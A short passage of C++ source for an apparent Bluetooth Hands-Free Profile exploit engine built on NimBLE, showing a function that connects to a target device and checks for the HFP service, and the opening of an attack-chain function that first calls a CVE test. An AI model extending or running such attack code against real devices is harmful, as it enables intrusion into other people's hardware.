| 58 | } |
| 59 | |
| 60 | bool HFPExploitEngine::establishHFPConnection(NimBLEAddress target) { |
| 61 | showAttackProgress("Attempting HFP connection...", TFT_YELLOW); |
| 62 | |
| 63 | NimBLEClient *pClient = NimBLEDevice::createClient(); |
| 64 | if (!pClient) return false; |
| 65 | |
| 66 | pClient->setConnectTimeout(8); |
| 67 | bool connected = pClient->connect(target, false); |
| 68 | |
| 69 | if (connected && isHFPServiceAvailable(pClient)) { |
| 70 | showAttackProgress("HFP connection successful!", TFT_GREEN); |
| 71 | pClient->disconnect(); |
| 72 | NimBLEDevice::deleteClient(pClient); |
| 73 | return true; |
| 74 | } |
| 75 | |
| 76 | NimBLEDevice::deleteClient(pClient); |
| 77 | return false; |
| 78 | } |
| 79 | |
| 80 | bool HFPExploitEngine::executeHFPAttackChain(NimBLEAddress target) { |
| 81 | if (!testCVE202536911(target)) { |
no test coverage detected